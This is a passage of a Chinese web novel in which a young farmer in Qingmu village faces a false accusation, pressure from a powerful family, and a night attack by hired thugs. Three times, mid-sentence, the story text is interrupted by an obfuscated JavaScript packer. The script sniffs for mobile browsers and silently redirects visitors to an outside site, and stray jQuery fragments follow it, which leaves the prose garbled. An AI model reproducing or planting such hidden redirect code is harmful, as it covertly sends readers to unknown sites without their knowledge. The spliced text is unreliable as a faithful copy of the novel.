“你们搞错了吧？！”颜若曦快步上前，直视楚婧雅，眼中同样掠过一丝惊艳。她曾贵为校花，对自己的容貌颇有自信，刘思雨已让她感到压力，眼前这位女警的姿容竟丝毫不逊色。 此刻，她语气急切：“莫天扬什么时候破坏农田违规挖沙了？他一直守在这里种菜！” 陈峰也急忙上前作证：“姑娘，你们真弄错了！挖沙的都是外来的老板，天扬压根没参与！他这些天就守着这块地，生怕沙地被挖坏，连觉都睡不安稳！” 楚婧雅审视着莫天扬，目光锐利：“你是青木村村民？”得到肯定答复后，她的视线投向不远处被铁丝网围起来的大片沙地：“那片地，是你的菜地？” “是是是！”陈峰抢着回答，指着那片沙地，“那几天我们天天提心吊胆，就怕他们挖过来毁了天扬的菜！他怎么可能去挖自己的地？举报的人肯定搞错了！” “小张，举报的对象是不是弄错了。” 一个执法者走过来，“没有，的确是莫天扬。” “不可能是他，你们弄错了，最初承包沙地的的确是天扬，不过后来有人给的钱多，那些人转手将沙地承包给外面的人，是他们挖沙，天扬是改造沙地，他在沙地投入十来万，结果被那些诶人一转手损失了五六万、” “队长，应该是弄错了，他应该就是今年回村种菜的大学生，他的蔬菜是无公害蔬菜，那段时间在网上很火。” 楚婧雅皱了皱眉头，“让他们调查一下举报人的信息。” 楚婧雅这一说，陈峰等人心头一松，“慧慧，切瓜给他们尝尝。” 楚婧雅摆了摆手，“不用了，这件事情我们会调查清楚。” 收队。 听到这两个字，莫天扬的心头一松，他下意识看向楚婧雅，却不想楚婧雅也看向他，四目相对，莫天扬心头一慌，楚婧雅却有了一种熟悉的感觉。 “莫天扬，你去过五里店？” 莫天扬心头一慌，摇摇头，“没有。” 楚婧雅皱了皱眉头，她再没有说话，转身带人离开。 看着车辆离开，颜若曦走到莫天扬身边，“你认识她？” “不认识，不过上次去沛川送资料的时候见过两次，听王哥他们说楚婧雅有很深的背景，而且是嫉恶如仇，沛川那边的无赖听到她的名字就腿软。” “这么厉害。”颜若曦看向楚婧雅离开的方向，眼底流露出一丝惊讶。 莫天扬摆摆手，不以为意：“她厉不厉害，跟咱们不相干。说吧，想吃什么？我去做。” “馅饼！”有人立刻喊道。 莫天扬哈哈一笑：“今天得做几个硬菜，馅饼怕是顾不上喽，晚上吧！” 话音未落，刺耳的刹车声在院外响起。正在灶台前忙碌的莫天扬抬眼望去，只见刘思雨从车上下来，眉头紧锁，脸上笼着一层化不开的愁云。 “若曦，思雨看着像有心事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184674|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去瞧瞧。”莫天扬对正在帮忙打下手的颜若曦说道。 颜若曦自然也瞧出了刘思雨的不对劲，点点头，放下手里的活儿迎了出去。 午饭时分，当颜若曦和刘思雨走进餐厅，莫天扬下意识地看向后者。这一看，他的心不由一沉——刘思雨的眼圈泛红，眼睑微肿，显然是哭过。他探寻的目光投向颜若曦，颜若曦却只是轻轻摇了摇头，示意现在不便多说。 沙地停工，胡标等人自是兴高采烈，席间谈笑风生。唯独刘思雨心事重重，强颜欢笑，食不知味。莫天扬看在眼里，虽担忧，却也不好当众细问，只是默默将几样她爱吃的菜推近了些。 饭后，刘思雨和颜若曦默默走向池塘边。莫天扬略一迟疑，也跟了过去。 池塘水波微澜，映着午后的天光。莫天扬深吸一口带着水汽的空气，打破了沉默：“思雨，是不是……出什么事了？” 刘思雨肩头微颤，仿佛压抑的情绪终于找到了出口。她抬起头，眼中水光闪动，声音带着一丝不易察觉的哽咽：“我爸……被罗列了好几项违规问题，现在……停职接受调查了。” “刘叔他……”莫天扬心头一紧。 刘思雨用力摇头，语气带着不容置疑的坚定：“我爸绝不会做任何违规的事！他前段时间刚被提名要提拔，现在突然弄出这一出……就算最后查清没问题，这提拔也肯定黄了。” “是有人在背后整你爸？”莫天扬的眉头拧了起来。 “我爸做事向来谨慎，从没得罪过谁。”刘思雨的声音充满了无力感。 莫天扬眼神一凛，沉声道：“这么说……是林家？” 刘思雨嘴角泛起一抹苦涩的弧度，缓缓点头：“除了他们，还能有谁？为了逼我就范，他们竟然……竟然用这种下作的手段。” “林家……到底什么来头？”莫天扬追问，他需要更清楚地了解对手。 刘思雨的声音低了下去，带着深深的无奈：“林浩宇的爷爷是位……很有资历的老干部。他父母、叔叔、姑姑……在省里都身居要职，盘根错节。林浩宇在浅驼，不过是镀金。一有机会，就会调回沛川，步步高升。” 莫天扬难以置信地摇摇头：“林家难道不知道林浩宇的所作所为？他们就不怕他这样胡来，迟早毁了林家的名声和根基？” “这个……我就不清楚了。”刘思雨茫然地看着水面。 莫天扬沉默片刻，脸上浮现出深深的愧疚：“这事……说到底还是因我而起。如果不是我那天……” “不！”刘思雨猛地打断他，转过头，目光坚定地看着莫天扬，带着一种看透世情的苍凉，“就算没有你，我也绝不会接受林浩宇。只要我拒绝，他们林家……依然会用同样的方式，来打压我爸，逼我低头。” 第一百三十章獠牙初露 刘成祥被停职调查，表面上看与莫天扬毫无瓜葛，可那若有若无的关联，却像根无形的刺扎在莫天扬心里，让他倍感无奈。 在池塘边陪着刘思雨说了一会儿话，见她情绪稍霁，莫天扬才松了口气。他朝颜若曦递了个眼色，示意她继续陪着开解，自己则悄然转身离开。 刚走出院门，两道挺拔的身影便映入眼帘。莫天扬精神一振，脸上露出由衷的笑意：“海哥！辉哥！你们回来了！” “天扬，去会客室谈。”王海龙沉声道，眼神里带着一丝不易察觉的凝重。 会客室内，茶香袅袅。莫天扬熟练地沏好一壶“紫烟”，琥珀色的茶汤注入杯中，氤氲的热气模糊了三人间的视线。 “海哥，阿姨身体怎么样了？”莫天扬将茶杯推到两人面前，关切地问。 王海龙坚毅的面容柔和了几分：“恢复得很好，已经能下地走路了。她老人家一直念叨着要亲自来谢你，不光是为了那救命钱，更是因为你给我指了条明路，找了份好营生。只是现在走路还不大利索，才没跟来。” “阿姨太客气了，说谢就生分了，是咱们有缘。”莫天扬摆摆手，随即话锋一转，切入正题，“海哥，那件事……有眉目了？” 王海龙端起茶杯抿了一口，放下时，神情已恢复严肃：“嗯。我联系了四个信得过的老兄弟，他们人已经到了浅驼。人齐了，接下来就能铺开摊子。但有个问题，”他顿了顿，声音压低了些，“他们都是生面孔，如果长期在浅驼晃荡又没个正经事做，容易惹眼，引人怀疑。” “你们有什么打算？”莫天扬心领神会。 “想开个小面馆打掩护。”**辉接过话头，手指无意识地在桌上敲了敲，“正好浅驼那边有个小饭店要转手，租期还剩一年，锅灶桌椅都是现成的，就是……转让费要三万出头。”他看向莫天扬，意思不言而喻。 “钱不是问题。”莫天扬没有丝毫犹豫，直接掏出手机，“账号给我。不过，他们几个……手艺能行？” 王海龙脸上露出一丝难得的笑意：“放心，里头有个老张，当年在炊事班干了三年，家常菜不在话下。只要能有你十分之一的手艺，保管生意差不了！” **辉眼睛一亮，补充道：“天扬，等你有空过去指点两下，不用多，就教他们炖肉和做大烩菜这两样招牌，保证能拴住客人的胃！” “行，没问题。”莫天扬手指翻飞，很快将五万块钱转了过去。 “天扬，说了三万就够，你这……”王海龙看着手机提示，有些过意不去。 “海哥，”莫天扬收起手机，语气不容置疑，“开张哪能没点周转？你几个兄弟初来乍到，安顿也要钱。这钱先用着，重点是盯紧林家。”他眼神锐利起来，“那个林浩宇，还有他背后的林家，水很深。” “林家？”王海龙和**辉同时眉头一拧，交换了一个凝重的眼神，“难道是……沛川那个林家？” “你们知道？”莫天扬有些意外。 王海龙深吸一口气，声音带着前所未有的严肃：“听说过。如果真是那一家……天扬，事情就棘手了。林家老爷子，那可是退下来的那位！跺跺脚，别说省里，就是在上面，分量都不轻！” 莫天扬眼神闪烁，指关节无意识地在桌面上叩击着：“那位老爷子……年事已高了吧？他未必知道，自己的儿孙辈正借着林家的虎皮，在外头作威作福。” “很有可能！”**辉沉声接口，眼中闪过一丝冷厉的寒芒，“如果真是背着老爷子作恶，那林浩宇和他爹那帮人……就是该死！” “林浩宇就是个彻头彻尾的二世祖，身上黑料肯定不少！”**辉的声音带着笃定。 “那小店什么时候能开起来？”莫天扬追问。 “交了转租金，拾掇一下就能开张。”王海龙回答得干脆利落。 莫天扬点点头：“开业前咱们过去一趟。” 又闲聊了几句，王海龙和**辉便告辞离开。望着两人远去的背影，莫天扬长舒一口气，心头却像压了块石头。**这个决定是对是错，但清晰地意识到，一旦这秘密调查的网铺开，稍有不慎被反噬，自己这辈子就真的万劫不复了。 然而，回想起这两个多月遭遇的桩桩件件——莫栓的算计、安云飞的阴狠，以及那只隐藏在安云飞身后、随时可能碾碎他的无形巨手——莫天扬的眼神逐渐冰冷。他本意与人为善，奈何步步紧逼，刀刀致命。想要在这泥潭里活下去，活得安稳，他就必须握紧手中的底牌，哪怕这底牌也带着锋刃。 “天扬，”标叔的声音打断了他的思绪，“我刚去酒坊那边转了转。眼看这茬菜就要下架了，五十多号人的工资可是笔大开销。我看……要不咱们再弄一排屋子生豆芽？这营生快，周转也快。” 莫天扬抬眼望向远处正在施工的院墙，眉头微蹙：“咱们不是计划建大棚种反季菜吗？再弄豆芽，地方和人手……” 标叔显然早有考虑：“我们几个老伙计合计过了。咱青木村这地方，一入冬，那风沙邪乎得很！院墙高点还能挡挡，可这院子要挖地窖（仓库），外面再搭大棚？悬！那厚塑料片子，天一冷就脆得跟纸似的，哪经得起裹着砂石粒子的西北风抽打？万一破了，一棚的心血全得冻死！” 莫天扬沉默片刻，缓缓点头。他在这风沙窝里长大，太清楚冬天的威力。别说塑料棚，有时候连窗户纸都能被砂石刮出窟窿。 “行，那就听您的，生豆芽。”他下了决定。 “对了，”标叔像是刚想起来，“那会儿我看见王喜山了。” “王喜山？”莫天扬心念一动。 “对，就是他们那帮挖沙的。干了快一个月，现在上面说沙地承包违法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184675|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，合同作废了。可他们二十多号人的工钱，一分还没拿到手呢！听那意思，明天就打算结伴去乡里**。” 莫天扬无奈地叹了口气：“标叔，这沙地承包闹得沸沸扬扬，成了沛川的头条。别说乡里，县里现在都恨不得撇清干系，躲得远远的。这钱……怕是难要了。” “那可是好几万啊！一家老小就指着这点钱过年呢！”标叔语气沉重。 “没办法，尽人事听天命吧。去问问也好。”莫天扬理解他们的困境，却也深知其中的阻力。 标叔往前凑了凑，压低声音：“天扬，现在那承包合同都作废了。你……真不打算考虑考虑那些地？挖了这一个多月，表层的浮沙都刮走了，底下露出来的，可都是实打实的生土！” 莫天扬果断摇头：“标叔，沙地和土地，在乡亲们心里那是两回事。虽说挖出来的是生土，可那也是他们眼里的‘地’！之前那档子事，我让他们每户赔了一千块，算是撕破了脸皮。现在风头刚起，我就急吼吼跑去租地？您想想，那些刚丢了工钱、又赔了钱的乡亲会怎么看我？唾沫星子都能淹**！” “唉，理是这么个理。”标叔也叹气，“可咱这鬼地方，老天爷不下雨，说什么都是白搭！顶多一两年，没水浇灌，那点生土还得变回沙窝子！这点，他们心里比咱更明白！你能不计前嫌去承包，已经是给他们台阶下了。” “可人心隔肚皮啊，标叔。”莫天扬目光深沉，“他们未必会这么想。这事，先冷一冷。您几位也别往外提，咱们说得越热乎，他们就越觉得奇货可居，反而不好谈。” “那就再晾晾他们！”标叔明白了莫天扬的意思。 “标叔，”莫天扬话锋一转，眼神投向村子的另一头，“莫栓那边……有动静吗？” “动静不小！”标叔语气带着不屑，“已经开始平整他家那片沙地了！听说这两天就有人来打井，看那架势，是铁了心要照你的葫芦画瓢，大干一场了。” “是他一个人，还是……” “拉了两个人合伙。圈了一百多亩沙地。更过分的是，”标叔脸上露出怒意，“他还挨家挨户去放话，威胁那些沙地挨着他的人家，不许把地包给你！” 莫天扬冷笑一声，指了指远处被挖得坑坑洼洼、如同疮疤般的沙坑：“他该不会是想包这些‘宝地’吧？” “他倒还没那么蠢！”标叔嗤笑，“这里只有你家有活水井，你俩那点过节，全村谁不知道？他就是再缺心眼儿，也明白你绝不会给他一滴水！他圈的是他家沙地周边那些还没被祸害的地。” 莫天扬摇摇头，嘴角勾起一丝嘲讽的弧度：“只有心里长满毒草的人，才会把别人都想得跟他一样阴暗。就他那点眼力见儿和算计人的本事？谁跟他合伙，谁就得倒大霉！标叔，您就等着明年开春，看他们怎么收场吧！” 第一百三十一章我是举报人？ “天扬！莫栓那边出事了！”胡标脚步匆匆，语气里带着一丝焦急和后怕。 酒坊中的莫天扬以及虎阵你那几个都是一愣，眉头紧拧：“怎么？那个**又欺负谁了？” “不是欺负人！”标胡标连连摆手，喘了口气，“是他自己作死！他嫌玉虎家那口井出水慢，不够用，所以他就找人深挖。本来已经出水了，水量也不算小，可这草包贪心不足，硬逼着工人继续往下深挖！结果……井壁塌了！当场压住了两个人！” 莫天扬心头一沉，脸色瞬间冷了下来：“塌方？！他一个门外汉懂什么深浅？挖井的师傅难道没提醒他？” “怎么没提醒！”胡标气的直拍大腿，又气又急，“人家师傅嗓子都喊哑了，说不能再挖了，太危险！可他不听啊，非说钱不是问题，让工人只管挖！这下好了，闯大祸了！万幸当时人多，七手八脚把人刨出来了，可两个人都伤得不轻，已经送医院了！” “伤得重……？”莫天扬追问，心也跟着悬了起来。人命关天，一旦闹出人命，整个村子都不得安生。 “骨头怕是断了不少，头破血流的，看着吓人！现在就看医院咋说了。人没事还好，要真有个三长两短，莫栓这牢饭是吃定了！”标叔语气沉重。 “不是咱村的人吧？” “咱村谁不知道他那副德性？躲都来不及，谁肯给他干活！是曹进庄那边请来的工人。” 莫天扬沉重地点点头，眼神凝重：“标叔，这事……也是给咱们敲了个警钟！往后不管做什么，安全这根弦，一刻也不能松！” 胡标刚走没多久，又是一阵急促的脚步声。刘思雨风风火火地冲了进来，脸色发白，额上还带着细汗，显然是一路跑回来的。 “天扬！”她气息不稳，眼神里满是焦虑，顾不上寒暄，直接指向会客室，“快，进去说！” 莫天扬心头一紧，知道必有大事，立刻跟着她进了会客室。他迅速倒了一杯温茶递过去：“先喘口气。是刘叔那边……有新情况？” 刘思雨摇摇头，接过茶杯却没喝，声音带着急切：“我爸那边暂时没事，我妈情绪也稳定些了。是你的事！出事了！” “我？”莫天扬一愣。 “沙地的事！”刘思雨压低声音，语速飞快，“县里都在传，说青木村破坏农田违规挖沙淘金的事……是你举报的！那几个被重罚的挖沙老板，现在恨你入骨，已经有人放话出来，要找你算账，报复你！” 莫天扬眉头瞬间拧成了一个疙瘩，一股荒谬感涌上心头：“什么？我举报的？这事情明明是他们自己捅破的，闹得满城风雨！怎么屎盆子扣我头上了？他们难道没脑子想想？要是我真想举报，还能让他们安安稳稳挖上一个月？” “肯定是有人在背后搞鬼，故意散播谣言！”刘思雨斩钉截铁，“我怀疑就是林浩宇！我爸现在已经被停职了，他就想方设法来恶心你、害你！那些老板这次损失惨重，又被重罚，正在气头上，根本不会细想。而且……”她顿了顿，声音更低，“沙地当初是从你手里‘抢’走的，现在出事，他们第一个怀疑你，太‘合理’了！” 莫天扬只觉得一股郁气堵在胸口，苦笑着摇头。一个阴险贪婪的莫栓在村里虎视眈眈，一个权势滔天的林浩宇在外围放冷箭，已经让他疲于应付。现在倒好，凭空又多了几个被煽动起来的、恨不得生吞了他的有钱仇家！他不过是想踏踏实实种个菜，发点小财，怎么就那么难？ “天扬，你一定要小心！”刘思雨抓住他的胳膊，眼神里满是担忧，“那些人认定是你断了他们的财路，害他们倾家荡产还被重罚，报复起来，绝对是不择手段！” 莫天扬深吸一口气，强迫自己冷静下来：“兵来将挡吧。我平时就在村里，少出去，他们总不敢光天化日冲进来。” “千万别大意！那些人路子野得很！” 莫天扬点头，忽然想起什么，“对了，刚才标叔说莫栓出事了？塌方压了人？这事……不会牵连到你身上吧？” 刘思雨眼神闪烁了一下，沉声道：“按说应该不会。不过……万幸这次没出人命。如果真**人，加上林浩宇如果在背后使坏，那就真脱不了干系了。我已经让人去医院盯着了，一有确切消息马上通知我。” 夕阳西下，余晖将天边染成一片橘红。莫天扬刚从房间出来，等在帐篷边的刘思雨和颜若曦就看见了他。刘思雨连忙冲他招手，脸上带着探询的神色。 “有消息了？”莫天扬快步走过去。 刘思雨点点头，语气带着一丝复杂：“嗯。医院那边传来消息，两个人的腿都断了，其中一个伤势更重，腰部椎骨骨折。不过……莫栓并没被抓进去，那边给出的说法是，需要他留下来筹钱照顾伤者。这背后，八成是安云飞在运作打点。” 莫天扬厌恶地摇摇头：“这个祸害！不知道还要牵连多少人。” “这次就算他能钻法律空子逃脱制裁，天文数字的民事赔偿也够他喝一壶的。另外，那口井彻底废了，周围土质松动，已经没有重新挖掘的价值。没了稳定的水源，莫栓想搞种植？简直是痴人说梦！” “他本来就没那本事，”莫天扬嗤笑一声，“他回来纯粹就是为了恶心我。有他在的地方，准没好事！” “天扬，”刘思雨话锋一转，目光变得认真起来，“现在那些沙地的承包合同都作废了，你就没想过……重新把承包权拿回来？” 莫天扬微微一怔。白天标叔刚提过，现在刘思雨和旁边的颜若曦（看她神情也是此意）又再次提及。他知道她们都是为自己好，便也不再隐瞒，将自己的顾虑和盘托出。 听完莫天扬的顾虑，刘思雨杏眼眨了眨，忽然闪过一抹狡黠的光，她紧紧盯着莫天扬：“你老实交代！是不是从一开始，你就知道他们根本不可能长时间承包那些沙地？” 她这一问，旁边的颜若曦也立刻想起，当初村民闹着要撕毁合同时，莫天扬并没有激烈反对，只是象征性地收了一千块赔偿金，反应平静得反常。 莫天扬脸上露出一丝淡淡的、一切尽在掌握的笑意：“我爷爷早就说过，青木村的地里根本不可能有金沙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对了，”刘思雨想起件事，“听标叔说，你决定不搞大棚了？” 莫天扬深吸一口气，点了点头：“嗯。村里冬天的风沙实在太猛。大棚的塑料膜一到冬天就变得脆硬，根本扛不住那种夹带着砂石的狂风。一旦塑料膜被划破撕碎，一棚的蔬菜用不了一夜就能全部冻死。相比之下，生豆芽更稳妥，风险小得多。” 颜若曦轻轻叹了口气，语气满是惋惜：“你的蔬菜好不容易才打开了市场，打出了名气，不种大棚真的太可惜了。你就没想过……换个地方？以你种菜的技术，无论到哪里，都肯定能大卖特卖。” 听到这话，刘思雨俏脸微微一变，下意识地抬头看向莫天扬，眼神里掠过一丝不易察觉的复杂情绪。莫天扬的蔬菜品质无可挑剔，无论拿到哪里都绝对是顶级的。可一旦他离开了青木村……那自己…… 莫天扬果断地摇了摇头，目光扫过这片他熟悉的土地和远处忙碌的身影：“青木村这个鸟不拉屎的地方都能闹出这么多是非，要是去了别处，人生地不熟，还不得被人生吞活剥了？钱少赚点就少赚点吧，待在村里，至少踏实。” 他顿了顿，语气变得深沉而坚定：“再说，标叔他们在我最难的时候毫不犹豫地帮我，宏利他们更是辞了城里的工作回来跟**。我要是为了多赚点钱就甩手走了，他们怎么办？这不仅仅是我一个人的事业，更是大家伙的希望。这种事，我莫天扬做不出来。” 第一百三十二章报复来了 灵泉空间内，上百亩的小岛在无垠的水域中显得静谧而独立。岛上郁郁葱葱，几乎每一寸土地都被各类蔬菜、瓜果和农作物覆盖，空气中弥漫着浓郁的、令人心旷神怡的混合香气。经过莫天扬不断的播种，这里已难觅空地。 望着这片长势旺盛的收获，莫天扬却只能无奈摇头。外界菜地的蔬菜已然进入新一轮生长期，他无法再将空间里这些品质超群的蔬菜带出去替换，这让他感到十分憋屈。 他的目光落在旁边几个鼓囊囊的袋子上，里面是他花费了好几天工夫才收获、脱粒的谷黍、小麦、水稻和莜麦。看着这些颗粒饱满的粮食，他眼中不禁流露出一丝期待——他很想尝尝，用这灵泉空间滋养出的作物，究竟是什么绝世美味。 “小白，出去了。” 回到房间，莫天扬用毛巾将小白湿漉漉的身子擦干，看着它又长大了一圈的体型，疼爱地拍了拍它的后背：“睡觉了。” 就在他准备上床休息时，身形猛地一顿。脚下传来一阵极其细微却绝不容忽视的震动——这感觉，像极了前段时日运沙车日夜不停经过时的动静。可自从那事之后，沙地里的设备早已被拉走，连路都清净了，这会儿…… 他迅速穿好衣服，推门而出。只见大青和已经半大的小青狼都警觉地站在院中，浑身肌肉紧绷，目光锐利地投向同一个方向的黑暗深处。 低沉的马达轰鸣声由远及近，莫天扬瞳孔骤然收缩。他清晰地看到，一辆庞大的铲车正如同黑暗中匍匐的钢铁巨兽，没有开启任何灯光，正朝着这边驶来！更让他心头发紧的是，铲车后面还紧跟着几辆商务车。 商务车悄然停下，车门滑开，一道道身影鱼贯而出。这些人头戴帽子，脸蒙口罩，手中清一色提着棍棒，沉默地跟在铲车后面，形成一股压抑而危险的洪流，直扑而来。 来者不善！ 莫天扬心头警铃大作，他迅速拍了下身边的小白，低喝道：“小白，去！找海哥他们！” 小白得令，如一道白色闪电般悄无声息地蹿入夜色。莫天扬随即看向一旁低吼的大青：“大青，守好爷爷和屋里的人！” 他转身冲回自己房间，一把抓起那根被爷爷摩挲得油光发亮、不知用了多少年的老木棍，再次冲出房门。他瞥了眼相邻的刘思雨和颜若曦的房间，深吸一口气，强压下心头的悸动，抬手急促地敲响了颜若曦的窗户。 “谁？！”里面立刻传来颜若曦带着睡意和惊慌的声音。 “若曦，是我！穿好衣服，待在里面，千万别出来！”莫天扬语速极快，声音压抑却清晰。 通知完颜若曦，他又立刻用同样方式警告了刘思雨。做完这一切，他再次深吸气，目光焦灼地望向酒坊的方向——他在等王海龙、李国强、**辉他们！ 此刻，铲车的轰鸣声已震耳欲聋，巨大的铲斗在微弱的天光下反射着冷硬的幽光，径直朝着那片长势喜人的菜地碾去！而那群手持棍棒的人，也发现了提棍立于院前的莫天扬，只是略微一愣，人群中便有人发出一声凶狠的指令： “废了他！” 几十号人立刻调转方向，如狼似虎般朝着莫天扬冲来！ 千钧一发之际，三道迅捷的身影猛地从菜地旁侧包抄过来，正是王海龙、李国强、**辉！他们一眼便看清了局势，顾不上那辆威胁菜地的大铲车，毫不犹豫地直插人群，试图为莫天扬解围！ 大青见状，发出一声低沉威猛的咆哮，示意狼崽后退，自己则化作一道青色疾风，悍然扑向冲在最前面的袭击者！ 莫天扬看到王海龙三人及时赶到，四人眼神瞬间交汇，无需任何言语，默契自成。他们同时迎向那汹涌而来的人群。今夜，对方显然是蓄意来伤人毁物，而他们身后，简易房里不仅有自己的至亲莫啸，还有刘思雨、颜若曦以及众多信任他的工人！ 守护的信念在胸中燃烧。经历过灵泉蜕变的莫天扬，力量、速度、反应远非常人可比；而王海龙三人更是身经百战，出手狠辣精准，拳脚之下必有一人哀嚎着倒下。 莫天扬臂力惊人，手中长长的木棍被他舞得呼呼生风，每一次劈扫都带着惊人的力道，杀伤范围极大。再加上大青这头山中猛兽如入无人之境，凶悍扑咬，原本气势汹汹的几十号人，瞬间陷入了被动，仿佛变成了被围猎的羔羊，场面竟在短短时间内被四人一狼强行遏制！ 也不过十多分钟，那些冲进来的人除了打碎了几扇简易房的玻璃外。房内的工人们被这突如其来的袭击吓坏了，全都瑟缩在屋内，不敢出声。 而房间前，莫天扬、王海龙、李国强、**辉，再加上凶猛的大青，已将三十多名打手放倒在地。哀嚎声此起彼伏，在寂静的夜空中显得格外刺耳。 不远处，菜地已被那辆大铲车肆虐得一片狼藉，大片鲜嫩的蔬菜被连根铲起，混入泥土。那铲车司机显然目睹了同伴被摧枯拉朽般击倒的惨状，吓得魂飞魄散，竟直接跳下车，连滚带爬地消失在了黑暗中。 剩余那些还没倒下的打手，眼见此景，哪还有半分斗志？不知是谁发了一声喊，还能动弹的人立刻丢下棍棒和受伤的同伴，作鸟兽散。他们或许为钱而来，但显然更惜命。 除了逃走的，剩下的人全在地上呻吟。这时，颜若曦、刘思雨和一些胆大的工人才敢开门出来。 “天扬，我已经报警了！”刘思雨快步上前，脸色苍白但语气镇定。 莫天扬却皱了皱眉：“这地方……他们不一定来得快。” “是乡里的派出所，出了这么大的事，他们肯定会来！”刘思雨肯定地说。 “这些人什么来路？”王海龙扫视着满地打滚的人，沉声问道。 莫天扬摇摇头：“不清楚，面生得很。”他顿了顿，“海哥，劳烦你去菜地那边仔细看看。” 王海龙应声而去，片刻后返回，脸色更加阴沉：“外面的菜地被祸害了一半，院墙也被推倒了一大段。” 莫天扬点了点头，目光再次投向那群被打瘫的打手，眼中寒意凛冽。刘思雨之前的提醒言犹在耳，他却没料到对方的报复来得如此之快，如此猖狂——竟直接派车派人，明目张胆地打上门来！ 约莫半个小时后，两辆警车才拉着警笛呼啸而至。五六个执法人员下车，看到满地二十多个戴着口罩帽子、痛苦呻吟的壮汉，都惊得瞪大了眼睛。 “谁报的案？”为首的警官高声问道。 “是我 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“把地上这些都铐起来，带回所里！莫天扬，你也得跟我们回去一趟，配合调查。” “天扬，我跟你一起去。”刘思雨立刻上前，眼神坚定。 …… 乡派出所一间狭小的问询室里，莫天扬百无聊赖地坐着。从被带过来到现在，已经枯等了近三个小时，除了刚开始有人简单记录了一下，再无人过来问话。 就在他等得昏昏欲睡之时，房门“吱呀”一声被推开。莫天扬抬眼，看见两个穿着便装、年纪约莫四十多岁的中年男人走了进来。两人都没穿制服，这让莫天扬下意识地皱了皱眉。 “你就是莫天扬吧？”其中一个身材微胖的中年人开口，语气带着毫不掩饰的轻蔑，他甚至没有坐下，就这么居高临下地站在莫天扬面前。 莫天扬点了点头，平静地反问：“我是。你们是……？” “事情嘛，我们大致了解了一下，”那中年人挥了挥手，仿佛在驱赶苍蝇，“你那边呢，也就是损坏了几扇窗户，铲了一片菜地嘛。” 莫天扬的眉头瞬间拧紧：“几扇窗户？一片菜地？他们那是持械聚众故意毁坏财物，是刑事犯罪！你们不懂吗？” “哎呀，年轻人，火气不要那么大嘛！”另一个稍瘦些的中年人打着圆场，但语气同样敷衍，“这就是个误会。听说是因为你之前举报违规采砂，害得一个开挖掘机的司机到现在都没拿到工资，他喝了点酒，一时头脑发热，才干了这糊涂事。既然你的损失也不大，我们觉得这事儿调解一下就算了。放心，该赔的钱，一分不会少你的。” 莫天扬眼中猛地掠过一道寒光，他缓缓抬起头，目光如刀般直射向那个说话的中年人：“我举报违规采砂？你今天要是不把这话给我说清楚，我和你们没完！” 那中年人脸色一变，似乎意识到自己说漏了嘴，但仍强撑着官威：“莫天扬！你这是什么态度！我们过来是帮你调解**，是为你好！” “为我好？”莫天扬冷笑一声，声音陡然提高，“我倒想问问你们到底是什么人！凭什么在这里和稀泥？我又什么时候举报过采砂？今天你们必须给我一个明确的交代！” 第一百三十三章事态扩大？ “莫天扬，你狂什么狂！”那中年人被彻底激怒，脸色涨得通红，指着莫天扬的鼻子吼道，“你们动手打伤了二十多个人，证据确凿！信不信我立马就能把你们送进去，让你们牢底坐穿！” 莫天扬毫无惧色，反而冷冷一笑，目光却锐利地转向旁边那个一直试图和稀泥的中年人，“哦？我还真不信你有这个本事。” “老张！你胡说什么！”另一个中年人显然没料到同伴会如此失态，更惊于莫天扬瞬间抓住话里的锋芒，急忙厉声制止。 莫天扬的目光转回那个叫嚣者，眼中的寒意几乎能将其冻结，他声音不大，却字字如刀：“继续啊？我倒想听听，你算个什么东西，敢在这里定我的罪？” 眼见场面彻底失控，脸皮也已撕破，那个稍显理智的中年人一把拉住几乎要扑上去的同伴，强拖着往外走：“够了！别说了！我们走！” “莫天扬！你给我等着！这事儿没完！”被拉到门口，那嚣张的中年人仍不忘回头撂下狠话。 莫天扬只是回以一声冷哼。他起身猛地拉开房门，走廊里却空无一人，只有远处停车位上，刘思雨那辆红色轿车在晨曦微光中格外显眼。他不由得摇了摇头。 东方天际已泛起鱼肚白，一夜竟就这样过去。他走向轿车，看到刘思雨疲惫地趴在方向盘上似乎睡着了，心中顿时涌起一阵歉疚。她陪自己来，却跟着受了这样的冷遇和煎熬。 他轻轻敲了敲车窗。刘思雨惊醒，打开车门让他上车。 “笔录做完了？他们怎么说？”刘思雨一边启动车子一边问道，声音带着疲惫。 莫天扬摇摇头，将刚才那两个便衣中年人的威胁话语原原本本说了一遍。 刘思雨杏眼圆睁，睡意全无：“他们这是什么意思？这分明是想颠倒黑白！” “他们就是在替那些人开脱。”莫天扬声音冰冷，“那些被抓的打手呢？” “之前都被警车拉走了，但现在看这情况……他们恐怕真想大事化小，不了了之。” 莫天扬眼中寒光更盛：“他们说的话，我偷偷用手机录下来了。先回家。如果这事他们不给个公正的交代，我绝对跟他们没完！” 刘思雨眉头紧锁，带着担忧：“这案子性质这么恶劣，他们真敢一手遮天压下来？” “他们都能明目张胆地来威胁受害者，还有什么不敢的？”莫天扬看向窗外，“先回去再说。” 回到青木村，天已大亮。陈峰、胡标等一大群人早已**在院子外，焦急地等待着。一看到莫天扬和刘思雨的车子，立刻围了上来。 